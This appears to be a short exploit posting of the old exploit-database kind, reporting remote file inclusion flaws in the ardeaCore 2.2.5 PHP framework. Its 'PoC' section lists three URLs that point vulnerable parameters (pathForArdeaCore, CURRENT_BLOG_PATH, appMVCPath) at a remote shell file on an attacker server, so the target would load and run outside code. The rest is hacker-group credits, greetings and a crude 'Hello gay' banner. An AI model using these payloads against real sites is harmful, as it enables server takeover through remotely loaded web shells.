ardeaCore version 2.2.5 PHP Framework suffers from multiple remote file inclusion vulnerabilities.
457a2767d371d2321b79482da1102c4c91ec0c06d59c00b1bdca19b338355bd6
******************************************************
[!] Discovered: n0n0x
[!] Homepage: http://priasantai.uni.cc/
[!] Remote: yes
******************************************************
*****************************************[ Hello gay ]***********************************************
****************************************************************************************************************
[x] PoC:
http://host/ardeaCore_v2.25/ardeaCore/lib/core/ardeaInit.php?pathForArdeaCore=[http://server/shell.tmp???]
http://host/ardeaCore_v2.25/ardeaCore/lib/core/ardeaBlog.php?CURRENT_BLOG_PATH=[http://server/shell.tmp???]
http://host/ardeaCore_v2.25/ardeaCore/lib/core/mvc/ardeaMVC.php?appMVCPath=[http://server/shell.tmp???]
****************************************************************************************************************
*****************************************[ Hello gay ]***********************************************
****************************************************************************************************************
[!] Thanks:
manadocoding.net, sekuritionline.net
****************************************************************************************************************
[!] Greetz:
str0ke, angky.tatoki,EA ngel, zvtral, s4va, bL4Ck_3n91n3, untouch, zreg, Valentin,team_elite
devilbat.
[!] special thanks : cr4wl3r - cyberl0g
****************************************************************************************************************